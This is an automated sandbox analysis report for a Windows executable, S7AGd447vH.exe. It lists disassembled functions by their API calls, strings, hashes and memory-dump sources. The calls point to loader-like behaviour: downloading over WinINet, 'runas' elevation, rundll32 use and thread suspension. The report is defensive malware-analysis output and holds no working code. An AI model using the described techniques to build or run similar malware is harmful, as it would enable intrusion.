Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction ID: dcef3dbcea8c8cab475391e30086021f64108fb912e19989a36c443812c4af62
Opcode Fuzzy Hash: 4a8b5a15acc7a14c50cd063d573e4647b370686c1df12e260f6979065f655518
Instruction Fuzzy Hash: 2E3148B1A04304AFEB31AB6AD845BDB77E9AF45314F10442BF45896291DB39E8C0CA28

Function 7FE434AF Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 87libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,CorBindToRuntime), ref: 7FE434E6
GetProcAddress.KERNEL32(?,GetCORVersion), ref: 7FE434F1
GetProcAddress.KERNEL32(?,GetRequestedRuntimeInfo), ref: 7FE434FC
wcscmp.NTDLL ref: 7FE43525
wcscmp.NTDLL ref: 7FE43544

Strings

v1.0.3705, xrefs: 7FE4351C, 7FE43521, 7FE43542
CorBindToRuntime, xrefs: 7FE434DD
GetRequestedRuntimeInfo, xrefs: 7FE434F3
v2.0.50727, xrefs: 7FE434CA
2, xrefs: 7FE4350D
GetCORVersion, xrefs: 7FE434E8

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: AddressProc$wcscmp
String ID: 2$CorBindToRuntime$GetCORVersion$GetRequestedRuntimeInfo$v1.0.3705$v2.0.50727
API String ID: 983638816-2194063276
Opcode ID: 851bd8ff7da982f9098ecc1943af40099da2c3e3c62217fab860e5e858954dc2
Instruction ID: 3e50560d5e1eeb36687fdd8f9e3dcfe970e9a1f44889845de766484beba81e0f
Opcode Fuzzy Hash: 851bd8ff7da982f9098ecc1943af40099da2c3e3c62217fab860e5e858954dc2
Instruction Fuzzy Hash: F6210E76D00309BFDF11CFE6DD849EEBBBDAB042A4F10912EB916E6140D774E604AB50

Function 004025D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(0042DDC8,00000000,00000000,00000000,00000000), ref: 00402671
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00402683
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 0040269A
InternetCloseHandle.WININET(00000000), ref: 004026AB
InternetCloseHandle.WININET(00000000), ref: 004026AE
InternetCloseHandle.WININET(00000000), ref: 004026BF
InternetCloseHandle.WININET(00000000), ref: 004026C2

Strings

runas, xrefs: 00402865
<, xrefs: 0040284C
PDu, xrefs: 0040287C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$PDu$runas
API String ID: 4294395943-1867505789
Opcode ID: 8a1466d50c53b960467b206397ced202853f845467a2dd78328e6e7bcede0099
Instruction ID: 5caa1b4c2bb0475ce066421cd81d484175f7ff2198b5b2135e34d8f39fdfba83
Opcode Fuzzy Hash: 8a1466d50c53b960467b206397ced202853f845467a2dd78328e6e7bcede0099
Instruction Fuzzy Hash: 6D411531E00118ABDB18DF64CD88BEFB779EF45300F20846AE511A72D1DB78A941CB98

Function 00406580 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

(, xrefs: 00406C04

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: cb2713355ae90bfdc193a3310f929ff71c802542f73eb0b160a9236a18cb9809
Instruction ID: fafec351d86de70b750e45bf8ab9a6e84be13f0c20e646c88c85f987d0f63b27
Opcode Fuzzy Hash: cb2713355ae90bfdc193a3310f929ff71c802542f73eb0b160a9236a18cb9809
Instruction Fuzzy Hash: 67F1A270A002189FEF24EF64CD85BDDBBB6AF45304F6041AAE4057B2C2D7795A88CF95

Function 0041782A Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00417840

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

_free.LIBCMT ref: 0041784C
_free.LIBCMT ref: 00417857
_free.LIBCMT ref: 00417862
_free.LIBCMT ref: 0041786D
_free.LIBCMT ref: 00417878
_free.LIBCMT ref: 00417883
_free.LIBCMT ref: 0041788E
_free.LIBCMT ref: 00417899
_free.LIBCMT ref: 004178A7

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9705148b6d4611f199b29fbf6d503725fc2e82af552bd358df9aa8192e56abba
Instruction ID: f8251996026b2c657cf6fbbbca1204a4564fd927f6cf5e2d756e948804c447a0
Opcode Fuzzy Hash: 9705148b6d4611f199b29fbf6d503725fc2e82af552bd358df9aa8192e56abba
Instruction Fuzzy Hash: 0B219A76904208AFCB41EF95C845DDE7FB9BF08354F01416AF9199B122DB35DAD4CB84

Function 00411490 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004114C7
___except_validate_context_record.LIBVCRUNTIME ref: 004114CF
_ValidateLocalCookies.LIBCMT ref: 00411558
__IsNonwritableInCurrentImage.LIBCMT ref: 00411583
_ValidateLocalCookies.LIBCMT ref: 004115D8

Strings

csm, xrefs: 00411601
csm, xrefs: 0041156D

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: 01b438ee1057a57edc1f68f2c86fba3ab44eab7f05e20b71c9ec1a045688145a
Instruction ID: 352e952380e70f6529a1430d259ef847dd733fe29a9b82d828665c6799f42ab3
Opcode Fuzzy Hash: 01b438ee1057a57edc1f68f2c86fba3ab44eab7f05e20b71c9ec1a045688145a
Instruction Fuzzy Hash: 9051D434A00204EFCF14DF29D840ADE7BB6AF44354F14819BEA155B3B2D739D981CB99

Function 0041C993 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0041C9BD
_free.LIBCMT ref: 0041CA96
_free.LIBCMT ref: 0041CAC3

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 5f46d572b778c3697a0c05575639509b3390ca82aab550750eacb09b6088fa6f
Instruction ID: 9d50c6fd6b57e85d972ac0d25882121bb86adefa59d36aee53cf5b357788dddd
Opcode Fuzzy Hash: 5f46d572b778c3697a0c05575639509b3390ca82aab550750eacb09b6088fa6f
Instruction Fuzzy Hash: 615107B1E88315AEDB10AF659CC2BEE7BA4AF01354F00416FE414D7281EB7999C18B9D

Function 00404110 Relevance: 10.9, APIs: 7, Instructions: 370registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00000001,00000000,00000000,00000000,0002001F,00000000,?,00000000), ref: 00404141
RegOpenKeyExA.ADVAPI32(80000001,00000001,00000000,00000002,80000001), ref: 00404160

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CreateOpen
String ID:
API String ID: 436179556-0
Opcode ID: 6cef45b856f3248b0fe271f9ce17b500d42896899d94af18f60e7875b52b7761
Instruction ID: 68d7ea391eb72bec488049de8ab8a02da34695d4a777c83c72362bf020001ad9
Opcode Fuzzy Hash: 6cef45b856f3248b0fe271f9ce17b500d42896899d94af18f60e7875b52b7761
Instruction Fuzzy Hash: 86C158B0A002049BEB24EF68DC467AE7B71EF81304F50417EE905A73D2D7798A84CBD9

Function 00407214 Relevance: 10.7, APIs: 7, Instructions: 247networkfileCOMMON

Download Yara Rule

APIs

HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00407223
HttpSendRequestA.WININET(00000000,00000000,?), ref: 004072CC
InternetReadFile.WININET(00000000,?,000003FF,?), ref: 0040735D
InternetReadFile.WININET(00000000,00000000,000003FF,?), ref: 004073E4
InternetCloseHandle.WININET(00000000), ref: 004073F5
InternetCloseHandle.WININET(?), ref: 004073FA
InternetCloseHandle.WININET(?), ref: 004073FF

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpReadRequest$OpenSend
String ID:
API String ID: 856522067-0
Opcode ID: 8c4f249455e392348cd204618eee89e9ebb374f13ea92d7bf2f6710b1f6ef32d
Instruction ID: 54ccd4b302471f634896f61291f795926b6a31330816fff46b0b6cdf67003ff0
Opcode Fuzzy Hash: 8c4f249455e392348cd204618eee89e9ebb374f13ea92d7bf2f6710b1f6ef32d
Instruction Fuzzy Hash: 18812871A100049FEB18DF68CD84BAE7B65EF85304F60816EF804E72D6D739AD81CB5A

Function 00406F80 Relevance: 10.6, APIs: 7, Instructions: 105networkfileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,6F380EF0), ref: 00406FB5
InternetOpenA.WININET(0042DD45,00000000,00000000,00000000,00000000), ref: 00406FCA
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00406FEA
InternetReadFile.WININET(00000000,?,00010000,00010000), ref: 00407001
CloseHandle.KERNEL32(00000000), ref: 00407043
InternetCloseHandle.WININET(?), ref: 00407052
InternetCloseHandle.WININET(00000000), ref: 00407055

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileOpen$CreateRead
String ID:
API String ID: 4113138902-0
Opcode ID: 7cbbaff30839c73d4a5d46c4e2be895aaf49b5412307e1b590f8447ea00df63d
Instruction ID: f318055f9b0a6cd492bb822c14f1c3a980a9a8f60db6a67ea6e52dfe8d96c5f1
Opcode Fuzzy Hash: 7cbbaff30839c73d4a5d46c4e2be895aaf49b5412307e1b590f8447ea00df63d
Instruction Fuzzy Hash: 7A31B871741208BBEB20CF65DC85FDE3769EB48704F604129F904AB2D1CBB9E9858B69

Function 00417BFC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00417C67
api-ms-, xrefs: 00417C53

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: c38fdcf0445f0a7e9b61a3ea2f5f3b23ee6d9f86e4bb16d5dc8db7418dd1f1b0
Instruction ID: 04feef229c099cf0caa78ce254594ce7b64f47669f0644e3bcc4f4daf5d9c93e
Opcode Fuzzy Hash: c38fdcf0445f0a7e9b61a3ea2f5f3b23ee6d9f86e4bb16d5dc8db7418dd1f1b0
Instruction Fuzzy Hash: 1C21D571A4A221ABDB315B249C40ADF37789F417A0F250226EC05B7391FA38DD41C6EC

Function 0041D2F7 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D2BF: _free.LIBCMT ref: 0041D2E4

_free.LIBCMT ref: 0041D345

Part of subcall function 00417051: HeapFree.KERNEL32(00000000,00000000,?,0041614E), ref: 00417067
Part of subcall function 00417051: GetLastError.KERNEL32(?,?,0041614E), ref: 00417079

_free.LIBCMT ref: 0041D350
_free.LIBCMT ref: 0041D35B
_free.LIBCMT ref: 0041D3AF
_free.LIBCMT ref: 0041D3BA
_free.LIBCMT ref: 0041D3C5
_free.LIBCMT ref: 0041D3D0

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: 9e2e3d3b8b4d9d1074471a71dff7dd876d8a72478f5da9a7b3c948a32c2f96b7
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: E91154B2980B08AAD930B7B2CC47FCB7BAC5F15704F40081EB2A966092D6BFF5C44758

Function 00418EA7 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00403FD0,00000000), ref: 00418EEF
__fassign.LIBCMT ref: 004190CE
__fassign.LIBCMT ref: 004190EB
WriteFile.KERNEL32(?,00403FD0,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00419133
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00419173
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041921F

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: ea7bbc56c5a124928601a376039a556cda986aa23e9e7feeb770ede6d599fc04
Instruction ID: 4a1ea9c13593e6146f7ffc2e0f36bb807c69745bf179f96df70c488bbdfcc1e6
Opcode Fuzzy Hash: ea7bbc56c5a124928601a376039a556cda986aa23e9e7feeb770ede6d599fc04
Instruction Fuzzy Hash: F8D1AB71D002599FCB15CFA8D8909EDBBB5BF49304F28416AE815FB342D634AE86CB58

Function 7FE432D4 Relevance: 9.1, APIs: 6, Instructions: 73memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,7FE453D0,00000000,7FE42E0C,7FE453D0), ref: 7FE43310
RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 7FE4331F
memcpy.NTDLL(00000000,02263E58,?), ref: 7FE4333F
memcpy.NTDLL(?,02263E58,00000000), ref: 7FE4336A
IsBadReadPtr.KERNEL32(?,?), ref: 7FE43391
HeapFree.KERNEL32(?,00000000,?), ref: 7FE433AA

Memory Dump Source

Source File: 00000000.00000002.1709617833.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fe40000_S7AGd447vH.jbxd

Similarity

API ID: Heap$memcpy$AllocateFreeProcessRead
String ID:
API String ID: 722247336-0
Opcode ID: 552fac5a70bfc6c263aafda12b09075c372027dd2ebab31769e8de2eac42fedc
Instruction ID: e3500ff868ffef222200554de9f898f7f0b9cc85ff7932ac3d777bba641bc37d
Opcode Fuzzy Hash: 552fac5a70bfc6c263aafda12b09075c372027dd2ebab31769e8de2eac42fedc
Instruction Fuzzy Hash: 8F218D76900300EFCB11CFA9D884BAAB7F9FF44349F148459F91AE7111D771A598EB60

Function 0041A25A Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0041A2E1

Strings

I=A, xrefs: 0041A25C

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID: I=A
API String ID: 3213747228-3946403557
Opcode ID: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction ID: 8b9ff17209004a454263f1e9faabe9befd3c5a981dcfe354372e658eaf560767
Opcode Fuzzy Hash: 186601d8a17e2b5d785641720b47b2babc382d84c469d94d16a1b433b5ce272a
Instruction Fuzzy Hash: 4BB14532A062559FDB11CF29C8817EEBBE1EF45340F14816BE855DB342D23C9D92CB6A

Function 00411894 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0041188B,004116F9,00411008), ref: 004118A2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 004118B0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004118C9
SetLastError.KERNEL32(00000000,0041188B,004116F9,00411008), ref: 0041191B

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 997330488df08d38d93276a35cddbdf8f1a131b59de40d2c04e92889589716e3
Instruction ID: c9659887dbdb8b0ba91e31d86727317a6399b3c023515a7196fbdcefdac90553
Opcode Fuzzy Hash: 997330488df08d38d93276a35cddbdf8f1a131b59de40d2c04e92889589716e3
Instruction Fuzzy Hash: 4C0124326193116EE6283776BC85AEB26A4EB013B9730023FF324459F1EF194CC2920C

Function 00402A30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 0040FC60: Concurrency::cancel_current_task.LIBCPMT ref: 0040FD81

CreateThread.KERNEL32(00000000,00000000,004029C0,00000000,00000000,00000000), ref: 00402A96
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,?,?), ref: 00402AA3
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00402AAA

Strings

rundll32.exe, xrefs: 00402E1C
runas, xrefs: 00402BEF

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: d1592217e4478c5ea545865a8189d5ddc7b0323b2a45d0daecc3dde9ef46f0d2
Instruction ID: cbe1071344162770b1540c7e30956158cd622aecd0bbe1292944266410e95558
Opcode Fuzzy Hash: d1592217e4478c5ea545865a8189d5ddc7b0323b2a45d0daecc3dde9ef46f0d2
Instruction Fuzzy Hash: 4141D371211148ABEF18DF28CE99BDD3B66AF45344F50812AF805A73D6C7BDE9C08B58

Function 004158FB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\S7AGd447vH.exe, xrefs: 0041593E, 00415945, 0041597B
`%Y, xrefs: 0041594C
TZ, xrefs: 004159D0, 00415A13

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: TZ$C:\Users\user\Desktop\S7AGd447vH.exe$`%Y
API String ID: 0-1243407132
Opcode ID: 7a9d286b55a6d7791a3b78df8b97bf955a391a67a32cee53b2cda71ea7da64e1
Instruction ID: 38f4d60b3dc3330eb660a12c1bff0bcf569eb7c8f224e468f879af4f1ba56567
Opcode Fuzzy Hash: 7a9d286b55a6d7791a3b78df8b97bf955a391a67a32cee53b2cda71ea7da64e1
Instruction Fuzzy Hash: 7741B3B1A10614EFCB21EB9999819EEBBB8EFC5310F10016BF404D7310D7B48A81D799

Function 0041BEE8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\S7AGd447vH.exe, xrefs: 0041BEED

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\Desktop\S7AGd447vH.exe
API String ID: 0-3472667792
Opcode ID: c55c4c084ad2c230f635acb70b1e9e70acdd672452902c9fb3f822ecf2e8c030
Instruction ID: 98b84f3662eafc99a63776aa1d9869d5ad61514731121a2dccbac03ca90b7c9c
Opcode Fuzzy Hash: c55c4c084ad2c230f635acb70b1e9e70acdd672452902c9fb3f822ecf2e8c030
Instruction Fuzzy Hash: 132195712041097F9B14AF72CC819EB776CEF00368710491AF929D7651EB39DDD29BE8

Function 0041365B Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0041369D

Strings

.com, xrefs: 004136DD
.exe, xrefs: 004136AA
.cmd, xrefs: 004136BB
.bat, xrefs: 004136CC

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 77ddbc1fb28f9346dad7768a5891c9b58b5a2fbbf90a09ed820187877b3d27dc
Instruction ID: 6f70c85177786f58d52e2084dd49b61e1baffeb1d3a2e9057e97d842c7ddf161
Opcode Fuzzy Hash: 77ddbc1fb28f9346dad7768a5891c9b58b5a2fbbf90a09ed820187877b3d27dc
Instruction Fuzzy Hash: CA010437B04226322A35551AAE027AB57898B82BB5726402FF854E73C0FE4DDE82019C

Function 00411BA4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00411BF4

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

